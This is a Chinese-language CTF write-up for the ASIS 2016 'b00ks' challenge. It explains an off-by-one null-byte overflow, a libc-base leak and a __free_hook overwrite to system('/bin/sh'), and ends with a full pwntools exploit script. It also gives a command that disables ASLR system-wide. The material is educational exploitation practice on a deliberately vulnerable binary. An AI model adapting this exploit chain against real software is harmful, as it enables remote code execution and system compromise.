查看原文
其他

Asis 2016 b00ks (off by one利用)

iddm 看雪学院 2019-05-26

记pwn萌新解题的辛酸历程,写的尽量详细,让和我一样的小菜鸡都能看的明白清楚。


参考前辈的文章,写的非常清楚明白:
  • https://cq674350529.github.io/2018/06/05/asis-ctf-2016-pwn-b00ks/   

  • https://bbs.pediy.com/thread-225611.htm  


首先用checksec查看一下b00ks文件的保护,发现开启了PIE和Full RELRO。


为了调试方便,暂时关闭系统的地址随机化功能 

echo 0 > /proc/sys/kernel/randomize_va_space

然后用ida打开分析程序的具体功能。

b00ks是常见的图书管理系统,功能如下:


off_by_one的漏洞位于如下函数:


当输入author name的时候,如果输入的字符串长度为32时,则会溢出一个字节‘\00’。实际向内存中写入了33个字符。

分析create函数中如下代码:


可知book_struct的结构如下:

struct book_struct

{


int id;

void * book_name;

void *book_description;

int description_size;

}

大小为32个字节。

并且book_struct同意存放在一个静态的数组中,管理global_struct_array。author存放的地址也是一个静态的地址。


可知offset_book_strcut - offset_author_name = 0x20,恰好和之前分析的author_name输入时的off_by_one漏洞所需的字符串长度吻合。


因此,我们可以知道当author_name的长度为32B时,结束符‘/00’会溢出到global_struct_array的第一个数组元素当中去,然后如果我们create一个book之后,'\00'结束符会被覆盖掉,因此打印author_name的时候可以将global_struct_array的第一个元素泄露出来,即泄露出addr_book1。壹伴,简单好用的公众号效率工具。

调试程序看一下具体效果,因为我们不知道程序加载的基址,所以调试的时候下断点不方便,因此通过如下办法获取程序加载的基址(因为我们调试的时候为了方便已经禁用了PIE,所以多次加载程序的基址不变):

首先gdb b00ks,然后r运行程序:


程序启动之后,通过 cat /proc/pid/maps获取程序的内存信息,可知程序加载的基址为0x555555554000。因此之后设置断点时  基址+ida地址  = 实际运行的地址。


当输入author_name = 'a'*32后,查看内存信息如下:

x/10xg 0x555555554000+0x202040

溢出的'\00'的位置如下图中标注所示:

在create一个book_struct之后,内存信息如下所示,可以看到author_name的结束符被覆盖,通过打印author_name的信息可以将addr_book1的信息泄露。


再继续create book2,通过查看内存地址信息,可以知道addr_book2-addr_book1=0x30。因此exp的时候,可以通过泄露addr_book1来得到addr_book2的信息。


再运用change_author_name的功能,重新溢出一个字节‘\00'。global_struct_array中第一个元素地址改变,我们可以通过为book1_description申请大一点的空间,来使得被修改后global_struct_array中的第一个元素的地址指向book1_description内的地址

接着,我们可以相应的地址重新伪造一个book1_struct。因为有print description以及edit description的功能,所以我们通过伪造book1_structdescription使其指向任意地址,通过打印或者edit来实现任意地址的读写。


change_author_name来实现溢出'\00',可以看到global_struct_array中的第一个元素地址由0x0000555555758160被改为0x0000555555758100,即指向了我们伪造的book1_struct。

我们伪造的struct结构如下:

{

id=1;

book_name = book2_struct_name;( book2_struct+8)

description = book2_struct_name;

description_size = 0xffff

}

通过打印book1_struct的信息,可以在book_name以及book_description项中获取到book_struct_name的地址信息。

因为开启了Full RELRO因此无法利用赋写GOT表来实现劫持程序流,因此我们通过得到libc的基址,利用free_hook或者malloc_hook来劫持程序流。

由于mmap分配区域的地址与libc的基址之间的offset是固定的,所以我们利用这个offset来获取libc的基址。在我们创建book2_struct的时候,对于name以及description申请较大的内存空间,通过mmap区域分配内存。

首先

通过debug vmmap查看libc的基址以及mmap区域的地址:


得到offset =  0x7ffff7fb7010 - 0x7ffff7a0d000

然后 libcbase = book2_name_ptr  -  offset

获取了libc的基址后 , 得到需要的函数以及参数的地址信息。

  • free_hook = libc.symbols['__free_hook'] + libcbase

  • system = libc.symbols['system'] + libcbase

  • binsh_addr = libc.search('/bin/sh').next() + libcbase

然后通过

  • payload = p64(binsh_addr) + p64(free_hook)

  • edit_book(target, 1, payload)

将改写fake_book1中的description的内容,因为description指向的是book2_name,也就是说payload = p64(binsh_addr) + p64(free_hook)将覆盖book2_name以及book2_description。(还可以利用execve("/bin/sh",  null,  environ) ???)

接着

  • payload = p64(system)

  • edit_book(target, 2, payload)

这里是edit  book2_description,因为book2_description被覆盖为free_hook()的地址信息,因此此操作时将free_hook指向system。

delete_book(target, 2)

在删除book2时,会首先调用free()释放book2_name_ptr指针指向的地址空间,原本的free(book2_name_ptr)最终变为system(binsh_addr)。

这里特别感谢 :

https://cq674350529.github.io/2018/06/05/asis-ctf-2016-pwn-b00ks/ 的作者,讲解的十分清楚。


最后上完整的漏洞利用代码:

#!/usr/bin/env python
# -*- coding=utf-8 -*-

from pwn import *

context(log_level='debug', os='linux')

def create_book(target, name_size, book_name, desc_size, book_desc):
   target.recv()
   target.sendline('1')
   target.sendlineafter('Enter book name size: ', str(name_size))
   target.sendlineafter('Enter book name (Max 32 chars): ', book_name)
   target.sendlineafter('Enter book description size: ', str(desc_size))
   target.sendlineafter('Enter book description: ', book_desc)

def delete_book(target, book_id):
   target.recv()
   target.sendline('2')
   target.sendlineafter('Enter the book id you want to delete: ', str(book_id))

def edit_book(target, book_id, book_desc):
   target.recv()
   target.sendline('3')
   target.sendlineafter('Enter the book id you want to edit: ', str(book_id))
   target.sendlineafter('Enter new book description: ', book_desc)

def print_book(target):
   target.recvuntil('>')
   target.sendline('4')

def change_author_name(target, name):
   target.recv()
   target.sendline('5')
   target.sendlineafter('Enter author name: ', name)

def input_author_name(target, name):
   target.sendlineafter('Enter author name: ', name)

DEBUG = 1
LOCAL = 1

if LOCAL:
   target = process('./b00ks')
else:
   target = remote('127.0.0.1', 5678)

libc = ELF('./libc.so.6')
# used for debug
image_base = 0x555555554000

if DEBUG:
   pwnlib.gdb.attach(target, 'b *%d\nc\n' % (image_base+0x1245))

input_author_name(target, 'a'*32)
create_book(target, 140 ,'book_1', 140, 'first book created') #description的地址空间要大一些,使得伪造的bokk_struct落在description中。

# leak boo1_struct addr
print_book(target)

target.recvuntil('a'*32)
temp = target.recvuntil('\x0a')

book1_struct_addr = u64(temp[:-1].ljust(8, '\x00'))
#print hex(book1_struct_addr)
book2_struct_addr = book1_struct_addr + 0x30

create_book(target, 0x21000, 'book_2', 0x21000, 'second book create')  #0x21000保证mmap分配内存

# fake book1_struct
payload = 'a' * 0x40 + p64(1) + p64(book2_struct_addr + 8) * 2 + p64(0xffff)
#payload = 'a' * 0x40 + p64(1) + p64(book2_struct_addr + 8) + p64(0x555555554870) + p64(0xffff)
edit_book(target, 1, payload)

change_author_name(target, 'a'*32)
print 'aaaaaaaaaaaaaaaaaaaaaaaa'
print (book2_struct_addr + 8)
# leak book2_name ptr
print_book(target)

target.recvuntil('Name: ')
temp = target.recvuntil('\x0a')
book2_name_ptr = u64(temp[:-1].ljust(8, '\x00'))
# print hex(book2_name_ptr)

# find in debug: mmap_addr - libcbase
offset =  0x7ffff7fb7010 - 0x7ffff7a0d000
libcbase = book2_name_ptr - offset
print "offset="+ hex(offset)
print "libcbase="+ hex(libcbase)

free_hook = libc.symbols['__free_hook'] + libcbase
system = libc.symbols['system'] + libcbase
binsh_addr = libc.search('/bin/sh').next() + libcbase
print "free_hook = "+ hex(free_hook)
print "system = "+ hex(system)
print "binsh_addr = "+ hex(binsh_addr)

payload = p64(binsh_addr) + p64(free_hook)
edit_book(target, 1, payload)

payload = p64(system)
edit_book(target, 2, payload)

delete_book(target, 2)
target.interactive()





看雪ID: iddm     

https://bbs.pediy.com/user-822769.htm




本文由看雪论坛 iddm 原创

转载请注明来自看雪社区






热门技术文章推荐:





戳原文,看看大家都是怎么说的?

    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存